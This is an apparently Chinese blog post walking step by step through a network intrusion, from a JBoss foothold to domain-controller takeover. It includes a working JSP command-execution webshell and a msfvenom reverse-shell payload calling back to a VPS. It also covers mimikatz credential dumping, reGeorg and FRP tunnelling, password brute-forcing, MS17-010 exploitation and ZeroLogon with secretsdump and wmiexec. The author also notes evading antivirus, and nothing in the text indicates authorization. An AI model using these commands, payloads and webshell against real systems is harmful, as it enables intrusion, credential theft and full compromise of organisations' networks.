本文由 简悦 SimpRead 转码, 原文地址 mp.weixin.qq.com
从 JBoss 进入到内网
通过外部资产中获取的 JBoss 的 shell 马,拿下了一个冰蝎的 webshell。拿到 shell 之后我一开始是打算上线 CS 的,但是这里一直都上线不了,不用看了大概率就说杀软的问题。首先来看一下对方系统的基本信息,这里可以看到是存在域环境的。
一般的话拿到 shell 的话我比较喜欢就说获取到对方系统的凭证,这里是 2012 的系统。那么很简单通过 mimikatz 来获取对方系统的凭证。这里我依然是喜欢把对方的 lsass.exe 导出来接着在使用 mimiktaz 解出明文密码。这里很辛运,虽然并没有使用 Mimikatz 获取到明文密码,但是在 cmd5 网站可以查询的到,是一个付费的内容。之后成功获取了明文密码
接着我通过冰蝎来获取一个 Meterpreter 的 shell,并且在通过 Meterpreter 开启一个 socks 的代理,但是我发现转到 Meterpreter 上面用起来不是很稳定。
这里也可能是我选择 MSF 的 socks5 的原因吧!因为之前看大佬文章说 MSF 的 socks4 比较稳定一点!但是还是看场景吧!我这里就不适合!
获取到了 meterpreter 的 shell 之后呢,进入到 meterpreter 添加路由,让路由可到即可。这里需要注意,它这里的路由是 255.255.252.0 的子网掩码,也就是 / 22 的。所以添加路由的时候需要注意下,不然的话有一些机器是不能路由过去的。但是经过后续的测试发现流量到达到目标内网不是很好!我通过 smb_version 模块进行扫描回来的效果不是很好!所以我果断放弃了 MSF。
对于后面的代理进入内网,我是用了 HTTP 代理流量和 MSF 里面的代理来进入内网了。首先上传 JSP 的 HTTP 端。
接着在本地来连接到对方 WEB 端,使用 reGeorg 的 python 连接连接上去对方。但是不好的地方就是这个需要把 python 的流量给禁止,不然会无限循环流量
python2 .\reGeorgSocksProxy.py -u http://xxx.xxx.xxx/xxxn/xxx.jsp -p 1080
对内网口令进行碰撞
通过代理我登陆进入到了对方的 3389 查看了一下,发现对方是开启了卡巴斯基的,这样的话就不好玩了,这里我已经获取到了一个 administrator 的凭证和一写用户的 hash,一般 hash 的话可以通过暴力破解来进一步渗透。这里由于我已经通过破解 NTLM 获取了一个明文的密码,然后我对 10.10.12.0/24 进行暴力破解,最终破解到了 5 台机器是使用相同的密码。在爆破的时候尽量把线程调整的小一点。
接着在对主机一一的上线到 CS 上面。上线到了 CS 之后为了不然其快速掉线,我把进程注入到了一些的进程中
从内网 tomcat 弱口令获取权限在进行横向渗透
对内网的一些 80,8080,8081,7002 这些端口来进行探测,这里是通过 JAVA 漏洞进来的,那么它的内网一定是有部署一些 JAVA 的系统的。进行扫描之后发现了内网有 tomcat。接着自己使用 python 简单的编写了一个爆破脚本来对,爆破到了 tomcat 的后台口令出来
对于如何将浏览器的流量带入对方内网的 WEB 服务。我这里通过火狐的代理服务器来进行访问内网的 WEB 服务器,这样就可以不用进行全局代理了
通过扫描发现了 http://10.10.12.16:8080 开启了 tomcat 服务。使用之前爆破出来的弱口令进行后台登陆,这里可以直接部署 webshell 了
首先在本地这里下如一个 jsp 的小马上去。执行命令格式:
http://URL:port/1/1.jsp?pwd=023&i=whoami
<%< span="">
if("023".equals(request.getParameter("pwd"))){
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("
");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("");
}
%>
部署上去之后就可也执行命令了,这里他返回的权限比较搞,是 system 最高权限
对于内网的 webshell 上传连接其实也很简单,这里使用冰蝎来作为 webshell 客户端,这台机器我测试了它的 tomcat 并没有把服务开放到外网(如果开放的话早就被日穿了哈哈哈),这里上传到了 webshell 上去之后呢需要在冰蝎客户端设置代理进入到对方的内网中才能连接
既然是最高权限了,那么我就直接上线到 CS 上面再来获取它的凭证信息。由于这是一台 windows 2008 的系统,直接获取到明文信息
接着整理这些密码对这个网段的主机进行暴力破解,也成功获取了一些主机。除了 windows 主机之外呢,其实还可以来利用这些密码来破解一些 Linux 主机的 root 密码。windows 破解到了密码之后呢我一般喜欢就是上线到 CS 或者 MSF,然后通过管理员权限来 dump 下机器上面的密码,如果机器上面有管理员密码的话那就一劳永逸了!
通过破解到了到了 Linux 的主机之后我成功登陆进去了 10.10.12.35 。登陆进去之后我比较喜欢查看的就是当前用户的历史记录。果不其然在历史记录找到了一个挂载点的密码。这里找历史记录的方法很多。可以在用户的目录下查看 .bash_history
或者通过查找 shadow 文件来破解密码。 10.10.12.35 这台 Linux 机器的密码如下,密码的格式是分组的,Linux / Unix 操作系统采用五种加密算法,$1 代表是 md5 的加密方式,$2 代表的是 Blowfish 加密方式,$5 表示 SHA-256 加密方式 ,$6 代表的是 SHA-512 的加密方式。下面的是 $1 是 md5 加密。比较好破解
接着我查看这台机器的 DNS 服务器,发现到它的 DNS 服务器其实指向的就是域控制器,10.10.12.77 就是域控制器。后面两台也许就是辅助域控制器或者是 DNS 服务器
接着对 10.10.68.5 进行扫描,发现了开启 8009 ajp 协议 。这让我想起了今年的(CVE-2020-1938)Apache Tomcat 文件包含漏洞
去 github 下载下来 POC 脚本,接着对该地址进行测试发现真的有文件包含漏洞,但是这个漏洞要造成 RCE 的话必须要上传一个带有反弹 shell 命令的 txt 上去然后再包含该文件进行 RCE 的效果,但是这里我无法上传文件上去
但是利用条件有限!如果可以上次一些 txt 或者 webshell 上去就可以直接的获取到这个服务器的权限了!也许要有其他高深的技术但是我还没有知道吧!!!哈哈哈
从 GPP 目录寻找明文密码
搜索存放在 GPP 目录中的各类明文的账号密码,共享组策略目录是域中最容易出现密码的地方,一般管理员会把一些 bat 脚本放在里面用来重置域内客户机器本地的 administrator 的密码
net time /domain
net view DC
dir \DC\netlogon
但是我查看了这些批处理之后发现这个批处理里面的密码大部分都是相同的,而且还是针对几台机器,那么这里对后期的作用就不高了,简单的获取一下明文密码即可
SPN 收集域内信息
一键获取当前域内所有的 spn 记录,之所以要获取目录域完整 spn 记录,核心就是为了摸清目标域内所有敏感机器资产的具体分布,后续好再单独针对这些机器进行逐个 “重点突破”,当然另外我们也可以拿着这些获取到的机器名,来快速完整探测当前域内的所有存活主机,这要远比直接去 net view 一下靠谱并且完整的多得多,退一步来讲,如果目标系统开启了防火墙,你这样直接 net view 也根本不好使
setspn -T xxx.com -Q /
接着对拉回来的 spn 文件进行处理,获取 spn 记录前面的主机名字
grep "CN=" spn.txt | awk -F "," {'print $1'} | awk -F "=" {'print $2'} > host.txt
接着通过批处理来获取里面的的信息,通过批处理来批量的 Ping 主机,如果主机有回复的话就会有答复
for /f "delims=" %i in (C:\host.txt) do @ping -w 1 -n 1 %i | findstr /c ".xxx.com |" >> C\host_res.txt
通过 SPN 我们可以获取到域内的存活主机何一些主机的具体作用。可以通过主机的名字来获取到这个主机提供什么服务。
除了 SPN 收集域内的信息的话,还可以通过 bloodHound 来获取域内的一些信息。接着快速抓取当前域内的所有用户,组,会话,数据,上传 exe 文件上去然后再把数据给回去下来
但是这个数据脱下来之后使用 bloodHound 导入进去却发现数据无法显示,之后我通过 CS 远程 加载 powershell 脚本上去之后就成功的获取到了 json 数据了
powershell-import /home/xxx/Desktop/SharpHound.ps1
powershell Invoke-BloodHound -CollectionMethod All
接着通过上次 frp 到对方的服务器上面代理一个更加稳定的。上传 FRP 来进行内网的扫描和渗透测试。FRP 相对于其他代理它比较文件和比较好管理,首先配置好服务器的 FRP 配置文件
[common]
bind_addr = 服务器监听的地址
bind_port = 服务器监听的端口
dashboard_port = 服务器 web 管理页面的端口
dashboard_user = 登陆的账号
dashboard_pwd = 登陆的密码
allow_ports = 4000-50000 [允许客户端连接的端口]
接着配置好 FRP 客户端的配置文件,再把他们上传到客户端和服务端上面
[common]
server_addr = 服务器的 IP 地址
server_port = 服务器监听的端口
tls_enable = true [是否开启 tls]
pool_count = 5 [连接数]
[plugin_socks]
type = tcp
remote_port = 6666 []
plugin = socks5
plugin_user = 登陆的账号
plugin_passwd = 登陆的密码
use_encryption = true
use_compression = true
上传成功之后呢就可以启动 FRP 了
服务器端: frps.exe -c frps.ini
客户端: frpc.exe -c frpc.ini
接着访问到在服务端配置文件设置好的 web 访问端口就可以管理到这个 socks 了!
对内网的 Windows 机器进行永恒之蓝渗透
对内网的主机进行 MS17-010 漏洞探,发现了有很多主机都存在有永恒之蓝的漏洞,一开始我是通过 FRP 把 MSF 带入进入到对方的内网中的,但是我发现这样带入 MSF 进入到对方的内网的话打 MS17-010 成功率是真的太低了。我就使用了原生的 MS17-010 的 payload 来进行攻击,这里我使用的是图形化的漏洞 payload。这里我是通过反向的 payload 来进行攻击,如果是反向 payload 的和对方内网的机器是需要能够出外网的。首先在 VPS 上面生成一个 dll 的 payload
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=VPS_IP LPORT=1234 -f dll > win64.dll
接着把 dll 文件改名为 x64.dll。并且把相对于的文件翻入到指定的 payload 文件夹。这里利用的 payload 格式选择为 dll。然后打开软件先检测一下是否有漏洞,这里返回了 Success! 代表具有漏洞
接着在 MSF 里面设置监听。监听本地的 1234 端口。也就是 payload 反弹 shell 的地址和端口
msf5 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf5 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set lhost xxx.xxx.xxx.xxx
lhost => 192.168.8.129
msf5 exploit(multi/handler) > set lport 1234
lport => 1234
msf5 exploit(multi/handler) > run
[*] Started reverse TCP handler on xxx.xxx.xxx.xxx:1234
然后点击 attack,把 payload 发送过去,这样的话对方的主机会话反向连接到 MSF 这里了。这里我的 MSF 成功的接收到了对方反弹回来的 metepreter 的 shell
获取到了对方的 metepreter 的 shell 之后呢是一个 system 的权限,接着我使用 hashdump 获取它的 hash。
还有很多的机器都有永恒之蓝的漏洞,但是是 Win7 的系统并且是 x86 构架的机器,这里反弹 shell 也不行。对于不能反弹 shell 的机器可以利用命令执行的 ms17-010 来进行提权进入到机器里面
msf5 > use auxiliary/admin/smb/ms17_010_command
msf5 auxiliary(admin/smb/ms17_010_command) > set command net user
command => net user
msf5 auxiliary(admin/smb/ms17_010_command) > set rhosts 10.10.74.128
rhosts => 10.10.74.128
可以看到这里已经执行到命令了,接着继续执行命令收集信息。
10.10.74.128 这台机器的 tomcat 是爆破不了,但是通过之前爆破的密码,登陆进去了一个未爆破成功的 tomcat 里面,现在通过永恒之蓝进入进去了。就也是 10.10.74.128 这台机器里面找到了它的 tomcat 密码。
接着就使用密码登陆进去之后再上传 webshell 即可控制这台机器了
ZeroLogon(CVE-2020-1472) 获取域控制器权限
接着对 10.10.8.0/24 网段进行扫描的时候发现了这个网段有机器开放了 88 端口,并且对 10.10.8.19 机器进行扫描之后它是一个域控制器。扫描结果看到,88 端口运行了 kerberos 的服务。对于 3389 端口信息的探测信息比较多,改机器所在域是 NetBIOS_Domain_Name: ADC
域控漏洞的话想起来今年爆出的 CVE-2020-1472 netlogon 漏洞。这里我使用检测工具进行检测发现这个 10.10.8.19 域控制器存在 CVE-2020-1472 netlogon 漏洞
接着使用 cve-2020-1472-exploit 来把域控制器的 域控用户密码重置为空。把域控用户密码重置为空的话就可以获取它里面的 hash 了
接着使用 secrtsdump.py 直接通过空密码的域控用户来 dump 域控制器里面的所有 hash 凭证和用户。
接着通过获取下来的 hash 通过 wmiexec.py 来进行横向登陆到域控制器中,可以看到这里已经获取了一个域控制器的 shell
python3 wmiexec.py 域名 / [email protected] -hashes 域控管理员的 hash
通过对这个域控制器的 DNS 指向可以知道这个域控制器应该是一个辅助域控制器。它的主要 DNS 还是 10.10.12.77 这台域控制器
通过下面的命令导出目标的 hash。并且通过 wmiexec 下载到本地。
reg save HKLM\SYSTEM sys.hiv
reg save HKLM\SAM sam.hiv
reg save hklm\security security.hiv
get sys.hiv
get sam.hiv
get security.hiv
del /F sys.hiv
del /F sam.hiv
del /F security.hiv
接着使用 secretsdump.py 读取里面的 hash 。这里面是有域控用户历史 hash 的。
接着通过 reinstall_original_pw.py 将该原始计算机域控制帐户哈希还原。
接着我们就可以通过已经回去下来的管理员的密码账号来横向到其他的机器了比如其他的一些辅助域控和子域控,密码 hash 也是一样的!非常的辛运。接着我通过 PTH 来进行访问域控制器。这里使用 PTH_PSH 就可以传递 hash 到域控制器上面。这里我使用 DNS 隧道让其上线
接着即可访问到域控制器了。再 CS 上面使用 ls \10.10.8.19c$ 就可以访问到域控制器的 C 盘。
然后就可以上线到 CobaltStrike 服务器来进行后续的控制了!接着通过修改 windows 注册表让其可以保存明文之后,通过命令强制注销用户然后再使用 mimikatz 获取系统的明文凭证信息。这里获取到了 administrador 的明文密码
使用密码登陆进入到域控制器中。可以看到这里它的 DNS 解析其实就是这几个网段,域机器也就集中再这几个网段中。其他网段大多数都部署这一些服务。
总结:
这个域只是一个小的分域,它的大多数的它的每一个 B 段都有一个域控,一共有 5 个 B 段在这个域内。我对 A 段和 C 段进行扫描的时候并没有发现太多的收获,要么就是没有发现!也可能是进行了隔离。内网中有大量的服务器和计算机都是使用 EXSI 来进行搭建和管理的。